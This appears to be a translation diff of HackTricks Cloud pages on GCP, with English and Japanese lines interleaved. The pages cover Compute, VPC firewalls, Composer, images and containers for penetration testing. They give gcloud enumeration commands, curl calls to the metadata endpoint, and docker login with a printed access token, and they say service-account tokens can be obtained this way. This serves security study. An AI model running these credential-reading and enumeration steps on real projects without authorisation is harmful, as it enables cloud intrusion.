{{#ref}}
../gcp-unauthenticated-enum-and-access/gcp-cloud-sql-unauthenticated-enum.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../gcp-post-exploitation/gcp-cloud-sql-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../gcp-persistence/gcp-cloud-sql-persistence.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -2,12 +2,11 @@
{{#include ../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
**Google Cloud Composer** is a fully managed **workflow orchestration service** built on **Apache Airflow**. It enables you to author, schedule, and monitor pipelines that span across clouds and on-premises data centers. With GCP Composer, you can easily integrate your workflows with other Google Cloud services, facilitating efficient data integration and analysis tasks. This service is designed to simplify the complexity of managing cloud-based data workflows, making it a valuable tool for data engineers and developers handling large-scale data processing tasks.
### Enumeration
**Google Cloud Composer** は、**Apache Airflow** に基づいた完全管理型の **ワークフローオーケストレーションサービス** です。これにより、クラウドとオンプレミスのデータセンターにまたがるパイプラインを作成、スケジュール、監視することができます。GCP Composerを使用すると、他のGoogle Cloudサービスとワークフローを簡単に統合でき、効率的なデータ統合および分析タスクを促進します。このサービスは、クラウドベースのデータワークフローの管理の複雑さを簡素化するように設計されており、大規模なデータ処理タスクを扱うデータエンジニアや開発者にとって貴重なツールです。
### 列挙
```bash
# Get envs info
gcloud composer environments list --locations <loc>
@@ -31,17 +30,12 @@ gcloud composer environments storage plugins list --environment <environment> --
mkdir /tmp/plugins
gcloud composer environments storage data export --environment <environment> --location <loc> --destination /tmp/plugins
```
### Privesc
In the following page you can check how to **abuse composer permissions to escalate privileges**:
次のページでは、**コンポーザーの権限を悪用して特権を昇格させる方法**を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-composer-privesc.md
{{#endref}}
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -4,14 +4,13 @@
## GCP VPC & Networking
Learn about how this works in:
これがどのように機能するかについて学びます:
{{#ref}}
gcp-vpc-and-networking.md
{{#endref}}
### Enumeration
### 列挙
```bash
# List networks
gcloud compute networks list
@@ -24,20 +23,20 @@ gcloud compute networks subnets describe <name> --region <region>
# List FW rules in networks
gcloud compute firewall-rules list --format="table(
name,
network,
direction,
priority,
sourceRanges.list():label=SRC_RANGES,
destinationRanges.list():label=DEST_RANGES,
allowed[].map().firewall_rule().list():label=ALLOW,
denied[].map().firewall_rule().list():label=DENY,
sourceTags.list():label=SRC_TAGS,
sourceServiceAccounts.list():label=SRC_SVC_ACCT,
targetTags.list():label=TARGET_TAGS,
targetServiceAccounts.list():label=TARGET_SVC_ACCT,
disabled
)"
name,
network,
direction,
priority,
sourceRanges.list():label=SRC_RANGES,
destinationRanges.list():label=DEST_RANGES,
allowed[].map().firewall_rule().list():label=ALLOW,
denied[].map().firewall_rule().list():label=DENY,
sourceTags.list():label=SRC_TAGS,
sourceServiceAccounts.list():label=SRC_SVC_ACCT,
targetTags.list():label=TARGET_TAGS,
targetServiceAccounts.list():label=TARGET_SVC_ACCT,
disabled
)"
# List Hierarchical Firewalls
gcloud compute firewall-policies list (--folder <value>| --organization <value>)
@@ -49,19 +48,17 @@ gcloud compute network-firewall-policies list
## Get final FWs applied in a region
gcloud compute network-firewall-policies get-effective-firewalls --network=<vpc_name> --region <region>
```
あなたは、[https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)を使って、オープンファイアウォールルールを持つコンピュートインスタンスを簡単に見つけることができます。
You easily find compute instances with open firewall rules with [https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum](https://gitlab.com/gitlab-com/gl-security/security-operations/gl-redteam/gcp_firewall_enum)
## コンピュートインスタンス
## Compute instances
This is the way you can **run virtual machines inside GCP.** Check this page for more information:
これは、**GCP内で仮想マシンを実行する方法です。** 詳細については、このページを確認してください:
{{#ref}}
gcp-compute-instance.md
{{#endref}}
### Enumeration
### 列挙
```bash
# Get list of zones
# It's interesting to know which zones are being used
@@ -80,79 +77,73 @@ gcloud compute disks list
gcloud compute disks describe <disk>
gcloud compute disks get-iam-policy <disk>
```
For more information about how to **SSH** or **modify the metadata** of an instance to **escalate privileges,** check this page:
より多くの情報は、**SSH**またはインスタンスの**メタデータを変更して権限を昇格させる**方法については、このページを確認してください:
{{#ref}}
../../gcp-privilege-escalation/gcp-local-privilege-escalation-ssh-pivoting.md
{{#endref}}
### Privilege Escalation
### 権限昇格
In the following page, you can check how to **abuse compute permissions to escalate privileges**:
次のページでは、**コンピュート権限を悪用して権限を昇格させる**方法を確認できます:
{{#ref}}
../../gcp-privilege-escalation/gcp-compute-privesc/
{{#endref}}
### Unauthenticated Enum
### 認証されていない列挙
{{#ref}}
../../gcp-unauthenticated-enum-and-access/gcp-compute-unauthenticated-enum.md
{{#endref}}
### Post Exploitation
### ポストエクスプロイト
{{#ref}}
../../gcp-post-exploitation/gcp-compute-post-exploitation.md
{{#endref}}
### Persistence
### 永続性
{{#ref}}
../../gcp-persistence/gcp-compute-persistence.md
{{#endref}}
## Serial Console Logs
## シリアルコンソールログ
Compute Engine Serial Console Logs are a feature that allows you to **view and diagnose the boot and operating system logs** of your virtual machine instances.
Compute Engine シリアルコンソールログは、仮想マシンインスタンスの**ブートおよびオペレーティングシステムログを表示および診断する**機能です。
Serial Console Logs provide a **low-level view of the instance's boot process**, including kernel messages, init scripts, and other system events that occur during boot-up. This can be useful for debugging boot issues, identifying misconfigurations or software errors, or troubleshooting network connectivity problems.
シリアルコンソールログは、インスタンスのブートプロセスの**低レベルのビュー**を提供し、カーネルメッセージ、初期化スクリプト、およびブートアップ中に発生する他のシステムイベントを含みます。これは、ブートの問題をデバッグしたり、設定ミスやソフトウェアエラーを特定したり、ネットワーク接続の問題をトラブルシューティングするのに役立ちます。
These logs **may expose sensitive information** from the system logs which low privileged user may not usually see, but with the appropriate IAM permissions you may be able to read them.
You can use the following [gcloud command](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output) to query the serial port logs (the permission required is `compute.instances.getSerialPortOutput`):
これらのログは、低権限のユーザーが通常は見ることができないシステムログから**機密情報を露出する可能性があります**が、適切なIAM権限があれば、それらを読むことができるかもしれません。
次の[gcloudコマンド](https://cloud.google.com/sdk/gcloud/reference/compute/instances/get-serial-port-output)を使用して、シリアルポートログをクエリできます(必要な権限は`compute.instances.getSerialPortOutput`です):
```bash
gcloud compute instances get-serial-port-output <instance-name>
```
## Startup Scripts output
It's possible to see the **output of the statup scripts** from the VM executing:
VMを実行している**スタートアップスクリプトの出力**を見ることができます:
```bash
sudo journalctl -u google-startup-scripts.service
```
## OS Configuration Manager
You can use the OS configuration management service to **deploy, query, and maintain consistent configurations** (desired state and software) for your VM instance (VM). On Compute Engine, you must use [guest policies](https://cloud.google.com/compute/docs/os-config-management#guest-policy) to maintain consistent software configurations on a VM.
OS構成管理サービスを使用して、VMインスタンスVMの**一貫した構成**(希望する状態とソフトウェア)を**展開、クエリ、および維持**できます。Compute Engineでは、VM上の一貫したソフトウェア構成を維持するために[ゲストポリシー](https://cloud.google.com/compute/docs/os-config-management#guest-policy)を使用する必要があります。
The OS Configuration management feature allows you to define configuration policies that specify which software packages should be installed, which services should be enabled, and which files or configurations should be present on your VMs. You can use a declarative approach to managing the software configuration of your VMs, which enables you to automate and scale your configuration management process more easily.
OS構成管理機能を使用すると、どのソフトウェアパッケージをインストールするか、どのサービスを有効にするか、どのファイルや構成がVMに存在するべきかを指定する構成ポリシーを定義できます。宣言的アプローチを使用してVMのソフトウェア構成を管理することで、構成管理プロセスをより簡単に自動化およびスケールできます。
This also allow to login in instances via IAM permissions, so it's very **useful for privesc and pivoting**.
これにより、IAM権限を介してインスタンスにログインできるため、**権限昇格やピボットに非常に便利です**。
> [!WARNING]
> In order to **enable os-config in a whole project or in an instance** you just need to set the **metadata** key **`enable-oslogin`** to **`true`** at the desired level.\
> Moreover, you can set the metadata **`enable-oslogin-2fa`** to **`true`** to enable the 2fa.
> **プロジェクト全体またはインスタンスでos-configを有効にする**には、**メタデータ**キー**`enable-oslogin`**を希望するレベルで**`true`**に設定するだけです。\
> さらに、メタデータ**`enable-oslogin-2fa`****`true`**に設定すると、2faが有効になります。
>
> When you enable it when crating an instance the metadata keys will be automatically set.
> インスタンスを作成する際にこれを有効にすると、メタデータキーが自動的に設定されます。
More about **2fa in OS-config**, **it only applies if the user is a user**, if it's a SA (like the compute SA) it won't require anything extra.
**OS-configにおける2faについて**、これはユーザーがユーザーである場合にのみ適用されます。サービスアカウントコンピュートSAなどの場合は、追加の要求はありません。
### Enumeration
```bash
gcloud compute os-config patch-deployments list
gcloud compute os-config patch-deployments describe <patch-deployment>
@@ -160,43 +151,37 @@ gcloud compute os-config patch-deployments describe <patch-deployment>
gcloud compute os-config patch-jobs list
gcloud compute os-config patch-jobs describe <patch-job>
```
## Images
### Custom Images
**Custom compute images may contain sensitive details** or other vulnerable configurations that you can exploit.
**カスタムコンピュートイメージには、機密情報**や他の脆弱な設定が含まれている可能性があり、それを悪用することができます。
When an image is created you can choose **3 types of encryption**: Using **Google managed key** (default), a **key from KMS**, or a **raw key** given by the client.
イメージが作成されると、**3種類の暗号化**を選択できます:**Google管理キー**(デフォルト)、**KMSからのキー**、またはクライアントが提供する**生キー**。
#### Enumeration
You can query the list of non-standard images in a project with the following command:
次のコマンドを使用して、プロジェクト内の非標準イメージのリストを照会できます:
```bash
gcloud compute machine-images list
gcloud compute machine-images describe <name>
gcloud compute machine-images get-iam-policy <name>
```
You can then [**export**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export) **the virtual disks** from any image in multiple formats. The following command would export the image `test-image` in qcow2 format, allowing you to download the file and build a VM locally for further investigation:
次に、任意のイメージから**仮想ディスク**を複数のフォーマットで[**エクスポート**](https://cloud.google.com/sdk/gcloud/reference/compute/images/export)できます。次のコマンドは、イメージ`test-image`をqcow2フォーマットでエクスポートし、ファイルをダウンロードしてローカルでVMを構築し、さらなる調査を行うことを可能にします
```bash
gcloud compute images export --image test-image \
--export-format qcow2 --destination-uri [BUCKET]
--export-format qcow2 --destination-uri [BUCKET]
# Execute container inside a docker
docker run --rm -ti gcr.io/<project-name>/secret:v1 sh
```
#### 権限昇格
#### Privilege Escalation
Compute Instancesの権限昇格セクションを確認してください。
Check the Compute Instances privilege escalation section.
### Custom Instance Templates
An [**instance template**](https://cloud.google.com/compute/docs/instance-templates/) **defines instance properties** to help deploy consistent configurations. These may contain the same types of sensitive data as a running instance's custom metadata. You can use the following commands to investigate:
### カスタムインスタンステンプレート
[**インスタンステンプレート**](https://cloud.google.com/compute/docs/instance-templates/) **はインスタンスのプロパティを定義**し、一貫した構成を展開するのに役立ちます。これらは、実行中のインスタンスのカスタムメタデータと同じ種類の機密データを含む可能性があります。調査するには、以下のコマンドを使用できます:
```bash
# List the available templates
gcloud compute instance-templates list
@@ -204,32 +189,25 @@ gcloud compute instance-templates list
# Get the details of a specific template
gcloud compute instance-templates describe [TEMPLATE NAME]
```
新しいイメージがどのディスクを使用しているかを知ることは興味深いかもしれませんが、これらのテンプレートには通常、機密情報は含まれていません。
It could be interesting to know which disk is new images using, but these templates won't usually have sensitive information.
## スナップショット
## Snapshots
The **snapshots are backups of disks**. Note that this is not the same as cloning a disk (another available feature).\
The **snapshot** will use the **same encryption as the disk** it's taken from.
### Enumeration
**スナップショットはディスクのバックアップです**。これはディスクをクローンすること(別の利用可能な機能)とは異なることに注意してください。\
**スナップショット**は、取得元の**ディスクと同じ暗号化を使用します**
### 列挙
```bash
gcloud compute snapshots list
gcloud compute snapshots describe <snapshot>
gcloud compute snapshots get-iam-policy <snapshot>
```
### 権限昇格
### Privilege Escalation
Compute Instancesの権限昇格セクションを確認してください。
Check the Compute Instances privilege escalation section.
## References
## 参考文献
- [https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching](https://blog.raphael.karger.is/articles/2022-08/GCP-OS-Patching)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,106 +2,100 @@
{{#include ../../../../banners/hacktricks-training.md}}
## Basic Information
## 基本情報
Google Cloud Compute Instances are **customizable virtual machines on Google's cloud infrastructure**, offering scalable and on-demand computing power for a wide range of applications. They provide features like global deployment, persistent storage, flexible OS choices, and strong networking and security integrations, making them a versatile choice for hosting websites, processing data, and running applications efficiently in the cloud.
Google Cloud Compute Instancesは、**Googleのクラウドインフラストラクチャ上のカスタマイズ可能な仮想マシン**であり、さまざまなアプリケーション向けにスケーラブルでオンデマンドのコンピューティングパワーを提供します。グローバル展開、永続ストレージ、柔軟なOSの選択、強力なネットワーキングおよびセキュリティ統合などの機能を提供し、ウェブサイトのホスティング、データ処理、アプリケーションの効率的な実行において多用途な選択肢となっています。
### Confidential VM
### 機密VM
Confidential VMs use **hardware-based security features** offered by the latest generation of AMD EPYC processors, which include memory encryption and secure encrypted virtualization. These features enable the VM to protect the data processed and stored within it from even the host operating system and hypervisor.
機密VMは、**最新世代のAMD EPYCプロセッサが提供するハードウェアベースのセキュリティ機能**を使用しており、メモリエンクリプションや安全な暗号化仮想化が含まれています。これらの機能により、VMはホストオペレーティングシステムやハイパーバイザーからも処理および保存されたデータを保護することができます。
To run a Confidential VM it might need to **change** things like the **type** of the **machine**, network **interface**, **boot disk image**.
機密VMを実行するには、**マシンのタイプ**、ネットワーク**インターフェース**、**ブートディスクイメージ**などを**変更**する必要がある場合があります。
### Disk & Disk Encryption
### ディスクとディスク暗号化
It's possible to **select the disk** to use or **create a new one**. If you select a new one you can:
使用する**ディスクを選択**するか、**新しいディスクを作成**することが可能です。新しいディスクを選択した場合、以下のことができます:
- Select the **size** of the disk
- Select the **OS**
- Indicate if you want to **delete the disk when the instance is deleted**
- **Encryption**: By **default** a **Google managed key** will be used, but you can also **select a key from KMS** or indicate **raw key to use**.
- ディスクの**サイズ**を選択
- **OS**を選択
- インスタンスが削除されたときに**ディスクを削除する**かどうかを指定
- **暗号化****デフォルト**で**Google管理キー**が使用されますが、KMSから**キーを選択**するか、使用する**生のキーを指定**することもできます。
### Deploy Container
### コンテナのデプロイ
It's possible to deploy a **container** inside the virtual machine.\
It possible to configure the **image** to use, set the **command** to run inside, **arguments**, mount a **volume**, and **env variables** (sensitive information?) and configure several options for this container like execute as **privileged**, stdin and pseudo TTY.
仮想マシン内に**コンテナ**をデプロイすることが可能です。\
使用する**イメージ**を設定し、内部で実行する**コマンド**、**引数**、**ボリューム**をマウントし、**環境変数**(機密情報?)を設定し、このコンテナのために**特権**として実行する、標準入力および擬似TTYなどのいくつかのオプションを構成することができます。
### Service Account
### サービスアカウント
By default, the **Compute Engine default service account** will be used. The email of this SA is like: `<proj-num>-compute@developer.gserviceaccount.com`\
This service account has **Editor role over the whole project (high privileges).**
デフォルトでは、**Compute Engineのデフォルトサービスアカウント**が使用されます。このSAのメールは次のようになります`<proj-num>-compute@developer.gserviceaccount.com`\
このサービスアカウントは、**プロジェクト全体に対するエディターロール(高い権限)**を持っています。
And the **default access scopes** are the following:
そして、**デフォルトのアクセススコープ**は以下の通りです:
- **https://www.googleapis.com/auth/devstorage.read\_only** -- Read access to buckets :)
- **https://www.googleapis.com/auth/devstorage.read\_only** -- バケットへの読み取りアクセス :)
- https://www.googleapis.com/auth/logging.write
- https://www.googleapis.com/auth/monitoring.write
- https://www.googleapis.com/auth/servicecontrol
- https://www.googleapis.com/auth/service.management.readonly
- https://www.googleapis.com/auth/trace.append
However, it's possible to **grant it `cloud-platform` with a click** or specify **custom ones**.
ただし、**`cloud-platform`をクリックで付与**するか、**カスタムのものを指定**することも可能です。
<figure><img src="../../../../images/image (327).png" alt=""><figcaption></figcaption></figure>
### Firewall
### ファイアウォール
It's possible to allow HTTP and HTTPS traffic.
HTTPおよびHTTPSトラフィックを許可することが可能です。
<figure><img src="../../../../images/image (326).png" alt=""><figcaption></figcaption></figure>
### Networking
### ネットワーキング
- **IP Forwarding**: It's possible to **enable IP forwarding** from the creation of the instance.
- **Hostname**: It's possible to give the instance a permanent hostname.
- **Interface**: It's possible to add a network interface
- **IP転送**:インスタンスの作成時に**IP転送を有効にする**ことが可能です。
- **ホスト名**:インスタンスに永続的なホスト名を付けることが可能です。
- **インターフェース**:ネットワークインターフェースを追加することが可能です。
### Extra Security
### 追加のセキュリティ
These options will **increase the security** of the VM and are recommended:
これらのオプションは、VMの**セキュリティを向上させ**、推奨されます:
- **Secure boot:** Secure boot helps protect your VM instances against boot-level and kernel-level malware and rootkits.
- **Enable vTPM:** Virtual Trusted Platform Module (vTPM) validates your guest VM pre-boot and boot integrity, and offers key generation and protection.
- **Integrity supervision:** Integrity monitoring lets you monitor and verify the runtime boot integrity of your shielded VM instances using Stackdriver reports. Requires vTPM to be enabled.
- **セキュアブート**セキュアブートは、VMインスタンスをブートレベルおよびカーネルレベルのマルウェアやルートキットから保護します。
- **vTPMを有効にする**仮想トラステッドプラットフォームモジュールvTPMは、ゲストVMのプレブートおよびブートの整合性を検証し、キーの生成と保護を提供します。
- **整合性監視**整合性監視により、Stackdriverレポートを使用してシールドされたVMインスタンスのランタイムブート整合性を監視および検証できます。vTPMを有効にする必要があります。
### VM Access
### VMアクセス
The common way to enable access to the VM is by **allowing certain SSH public keys** to access the VM.\
However, it's also possible to **enable the access to the VM vial `os-config` service using IAM**. Moreover, it's possible to enable 2FA to access the VM using this service.\
When this **service** is **enabled**, the access via **SSH keys is disabled.**
VMへのアクセスを有効にする一般的な方法は、**特定のSSH公開鍵**をVMにアクセスできるようにすることです。\
ただし、**IAMを使用して`os-config`サービス経由でVMへのアクセスを有効にする**ことも可能です。さらに、このサービスを使用してVMへのアクセスに2FAを有効にすることも可能です。\
この**サービス**が**有効**になると、**SSHキーによるアクセスは無効**になります。
<figure><img src="../../../../images/image (328).png" alt=""><figcaption></figcaption></figure>
### Metadata
### メタデータ
It's possible to define **automation** (userdata in AWS) which are **shell commands** that will be executed every time the machine turns on or restarts.
It's also possible to **add extra metadata key-value values** that are going to be accessible from the metadata endpoint. This info is commonly used for environment variables and startup/shutdown scripts. This can be obtained using the **`describe` method** from a command in the enumeration section, but it could also be retrieved from the inside of the instance accessing the metadata endpoint.
**自動化**AWSのuserdataを定義することが可能で、これは**シェルコマンド**であり、マシンが起動または再起動するたびに実行されます。
また、メタデータエンドポイントからアクセス可能な**追加のメタデータキー-バリュー**を**追加**することも可能です。この情報は、環境変数やスタートアップ/シャットダウンスクリプトに一般的に使用されます。これは、列挙セクションのコマンドから**`describe`メソッド**を使用して取得できますが、インスタンス内からメタデータエンドポイントにアクセスして取得することもできます。
```bash
# view project metadata
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
# view instance metadata
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
-H "Metadata-Flavor: Google"
-H "Metadata-Flavor: Google"
```
Moreover, **auth token for the attached service account** and **general info** about the instance, network and project is also going to be available from the **metadata endpoint**. For more info check:
さらに、**添付されたサービスアカウントの認証トークン**と**インスタンス、ネットワーク、プロジェクトに関する一般情報**も**メタデータエンドポイント**から取得できます。詳細については、以下を確認してください:
{{#ref}}
https://book.hacktricks.xyz/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf#6440
{{#endref}}
### Encryption
### 暗号化
A Google-managed encryption key is used by default a but a Customer-managed encryption key (CMEK) can be configured. You can also configure what to do when the used CMEF is revoked: Noting or shut down the VM.
デフォルトではGoogle管理の暗号化キーが使用されますが、顧客管理の暗号化キーCMEKを設定することもできます。また、使用されているCMEKが取り消された場合の処理を設定することもできますーティングまたはVMをシャットダウンします。
<figure><img src="../../../../images/image (329).png" alt=""><figcaption></figcaption></figure>
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -2,88 +2,84 @@
{{#include ../../../../banners/hacktricks-training.md}}
## **GCP Compute Networking in a Nutshell**
## **GCP コンピュートネットワーキングの概要**
**VPCs** contains **Firewall** rules to allow incoming traffic to the VPC. VPCs also contains **subnetworks** where **virtual machines** are going to be **connected**.\
Comparing with AWS, **Firewall** would be the **closest** thing to **AWS** **Security Groups and NACLs**, but in this case these are **defined in the VPC** and not in each instance.
**VPC** には、VPC への受信トラフィックを許可する **ファイアウォール** ルールが含まれています。VPC には、**仮想マシン** が **接続** される **サブネットワーク** も含まれています。\
AWS と比較すると、**ファイアウォール** は **AWS** **セキュリティグループおよび NACL** に最も近いものですが、この場合、これらは **VPC** で定義されており、各インスタンスではありません。
## **VPC, Subnetworks & Firewalls in GCP**
## **GCP の VPC、サブネットワーク & ファイアウォール**
Compute Instances are connected **subnetworks** which are part of **VPCs** ([Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc)). In GCP there aren't security groups, there are [**VPC firewalls**](https://cloud.google.com/vpc/docs/firewalls) with rules defined at this network level but applied to each VM Instance.
コンピュートインスタンスは、**VPC** の一部である **サブネットワーク** に接続されています ([Virtual Private Clouds](https://cloud.google.com/vpc/docs/vpc))。GCP にはセキュリティグループはなく、[**VPC ファイアウォール**](https://cloud.google.com/vpc/docs/firewalls) があり、これらのルールはこのネットワークレベルで定義され、各 VM インスタンスに適用されます。
### Subnetworks
### サブネットワーク
A **VPC** can have **several subnetworks**. Each **subnetwork is in 1 region**.
**VPC** には **複数のサブネットワーク** を持つことができます。各 **サブネットワークは 1 つのリージョン** にあります。
### Firewalls
### ファイアウォール
By default, every network has two [**implied firewall rules**](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules): **allow outbound** and **deny inbound**.
デフォルトでは、すべてのネットワークには 2 つの [**暗黙のファイアウォールルール**](https://cloud.google.com/vpc/docs/firewalls#default_firewall_rules) があります: **アウトバウンドを許可** **インバウンドを拒否**
When a GCP project is created, a VPC called **`default`** is also created, with the following firewall rules:
GCP プロジェクトが作成されると、**`default`** という VPC も作成され、次のファイアウォールルールが設定されます:
- **default-allow-internal:** allow all traffic from other instances on the `default` network
- **default-allow-ssh:** allow 22 from everywhere
- **default-allow-rdp:** allow 3389 from everywhere
- **default-allow-icmp:** allow ping from everywhere
- **default-allow-internal:** `default` ネットワーク上の他のインスタンスからのすべてのトラフィックを許可
- **default-allow-ssh:** どこからでも 22 を許可
- **default-allow-rdp:** どこからでも 3389 を許可
- **default-allow-icmp:** どこからでも ping を許可
> [!WARNING]
> As you can see, **firewall rules** tend to be **more permissive** for **internal IP addresses**. The default VPC permits all traffic between Compute Instances.
> ご覧のとおり、**ファイアウォールルール** は **内部 IP アドレス** に対して **より許可的** になる傾向があります。デフォルトの VPC は、コンピュートインスタンス間のすべてのトラフィックを許可します。
More **Firewall rules** can be created for the default VPC or for new VPCs. [**Firewall rules**](https://cloud.google.com/vpc/docs/firewalls) can be applied to instances via the following **methods**:
デフォルトの VPC または新しい VPC のために、さらに **ファイアウォールルール** を作成できます。 [**ファイアウォールルール**](https://cloud.google.com/vpc/docs/firewalls) は、次の **方法** を介してインスタンスに適用できます:
- [**Network tags**](https://cloud.google.com/vpc/docs/add-remove-network-tags)
- [**Service accounts**](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
- **All instances within a VPC**
- [**ネットワークタグ**](https://cloud.google.com/vpc/docs/add-remove-network-tags)
- [**サービスアカウント**](https://cloud.google.com/vpc/docs/firewalls#serviceaccounts)
- **VPC 内のすべてのインスタンス**
Unfortunately, there isn't a simple `gcloud` command to spit out all Compute Instances with open ports on the internet. You have to connect the dots between firewall rules, network tags, services accounts, and instances.
残念ながら、インターネット上のオープンポートを持つすべてのコンピュートインスタンスを出力する簡単な `gcloud` コマンドはありません。ファイアウォールルール、ネットワークタグ、サービスアカウント、およびインスタンスの間の関連をつなぐ必要があります。
This process was automated using [this python script](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) which will export the following:
このプロセスは、次の内容をエクスポートする [この Python スクリプト](https://gitlab.com/gitlab-com/gl-security/gl-redteam/gcp_firewall_enum) を使用して自動化されました:
- CSV file showing instance, public IP, allowed TCP, allowed UDP
- nmap scan to target all instances on ports ingress allowed from the public internet (0.0.0.0/0)
- masscan to target the full TCP range of those instances that allow ALL TCP ports from the public internet (0.0.0.0/0)
- インスタンス、パブリック IP、許可された TCP、許可された UDP を示す CSV ファイル
- パブリックインターネットから許可されたポートに対してすべてのインスタンスをターゲットにした nmap スキャン
- パブリックインターネットからすべての TCP ポートを許可するインスタンスの TCP 範囲全体をターゲットにした masscan
### Hierarchical Firewall Policies <a href="#hierarchical-firewall-policies" id="hierarchical-firewall-policies"></a>
### 階層的ファイアウォールポリシー <a href="#hierarchical-firewall-policies" id="hierarchical-firewall-policies"></a>
_Hierarchical firewall policies_ let you create and **enforce a consistent firewall policy across your organization**. You can assign **hierarchical firewall policies to the organization** as a whole or to individual **folders**. These policies contain rules that can explicitly deny or allow connections.
_階層的ファイアウォールポリシー_ を使用すると、組織全体で **一貫したファイアウォールポリシーを作成および適用** できます。 **階層的ファイアウォールポリシーを組織全体または個々の **フォルダー** に割り当てることができます。これらのポリシーには、接続を明示的に拒否または許可できるルールが含まれています。
You create and apply firewall policies as separate steps. You can create and apply firewall policies at the **organization or folder nodes of the** [**resource hierarchy**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy). A firewall policy rule can **block connections, allow connections, or defer firewall rule evaluation** to lower-level folders or VPC firewall rules defined in VPC networks.
ファイアウォールポリシーは、別々のステップとして作成および適用します。 [**リソース階層**](https://cloud.google.com/resource-manager/docs/cloud-platform-resource-hierarchy) の **組織またはフォルダーノード** でファイアウォールポリシーを作成および適用できます。ファイアウォールポリシールールは、接続を **ブロック、接続を許可、またはファイアウォールルールの評価を下位フォルダーまたは VPC ネットワークで定義された VPC ファイアウォールルールに委任** できます。
By default, all hierarchical firewall policy rules apply to all VMs in all projects under the organization or folder where the policy is associated. However, you can **restrict which VMs get a given rule** by specifying [target networks or target service accounts](https://cloud.google.com/vpc/docs/firewall-policies#targets).
デフォルトでは、すべての階層的ファイアウォールポリシールールは、ポリシーが関連付けられている組織またはフォルダー内のすべてのプロジェクトのすべての VM に適用されます。ただし、[ターゲットネットワークまたはターゲットサービスアカウント](https://cloud.google.com/vpc/docs/firewall-policies#targets) を指定することで、特定のルールを受け取る VM を **制限** できます。
You can read here how to [**create a Hierarchical Firewall Policy**](https://cloud.google.com/vpc/docs/using-firewall-policies#gcloud).
[**階層的ファイアウォールポリシーを作成する方法**](https://cloud.google.com/vpc/docs/using-firewall-policies#gcloud) をこちらで読むことができます。
### Firewall Rules Evaluation
### ファイアウォールルールの評価
<figure><img src="../../../../images/image (2) (1) (1).png" alt=""><figcaption></figcaption></figure>
1. Org: Firewall policies assigned to the Organization
2. Folder: Firewall policies assigned to the Folder
3. VPC: Firewall rules assigned to the VPC
4. Global: Another type of firewall rules that can be assigned to VPCs
5. Regional: Firewall rules associated with the VPC network of the VM's NIC and region of the VM.
1. Org: 組織に割り当てられたファイアウォールポリシー
2. フォルダー: フォルダーに割り当てられたファイアウォールポリシー
3. VPC: VPC に割り当てられたファイアウォールルール
4. グローバル: VPC に割り当てることができる別のタイプのファイアウォールルール
5. リージョナル: VM の NIC と VM のリージョンに関連付けられた VPC ネットワークのファイアウォールルール。
## VPC Network Peering
## VPC ネットワークピアリング
Allows to connect two Virtual Private Cloud (VPC) networks so that **resources in each network can communicate** with each other.\
Peered VPC networks can be in the same project, different projects of the same organization, or **different projects of different organizations**.
2 つの仮想プライベートクラウド (VPC) ネットワークを接続し、**各ネットワーク内のリソースが相互に通信できる** ようにします。\
ピアリングされた VPC ネットワークは、同じプロジェクト、同じ組織の異なるプロジェクト、または **異なる組織の異なるプロジェクト** に存在できます。
These are the needed permissions:
必要な権限は次のとおりです:
- `compute.networks.addPeering`
- `compute.networks.updatePeering`
- `compute.networks.removePeering`
- `compute.networks.listPeeringRoutes`
[**More in the docs**](https://cloud.google.com/vpc/docs/vpc-peering).
[**ドキュメントの詳細**](https://cloud.google.com/vpc/docs/vpc-peering)
## References
## 参考文献
- [https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/](https://about.gitlab.com/blog/2020/02/12/plundering-gcp-escalating-privileges-in-google-cloud-platform/)
- [https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation](https://cloud.google.com/vpc/docs/firewall-policies-overview#rule-evaluation)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -1,11 +1,10 @@
# GCP - Containers & GKE Enum
# GCP - コンテナとGKEの列挙
{{#include ../../../banners/hacktricks-training.md}}
## Containers
In GCP containers you can find most of the containers based services GCP offers, here you can see how to enumerate the most common ones:
## コンテナ
GCPのコンテナでは、GCPが提供するほとんどのコンテナベースのサービスを見つけることができます。ここでは、最も一般的なものを列挙する方法を示します
```bash
gcloud container images list
gcloud container images list --repository us.gcr.io/<project-name> #Search in other subdomains repositories
@@ -23,10 +22,9 @@ sudo docker login -u oauth2accesstoken -p $(gcloud auth print-access-token) http
## where HOSTNAME is gcr.io, us.gcr.io, eu.gcr.io, or asia.gcr.io.
sudo docker pull HOSTNAME/<project-name>/<image-name>
```
### Privesc
In the following page you can check how to **abuse container permissions to escalate privileges**:
次のページでは、**コンテナの権限を悪用して特権を昇格させる方法**を確認できます:
{{#ref}}
../gcp-privilege-escalation/gcp-container-privesc.md
@@ -34,75 +32,61 @@ In the following page you can check how to **abuse container permissions to esca
## Node Pools
These are the pool of machines (nodes) that form the kubernetes clusters.
これらは、Kubernetes クラスターを形成するマシン(ノード)のプールです。
```bash
# Pool of machines used by the cluster
gcloud container node-pools list --zone <zone> --cluster <cluster>
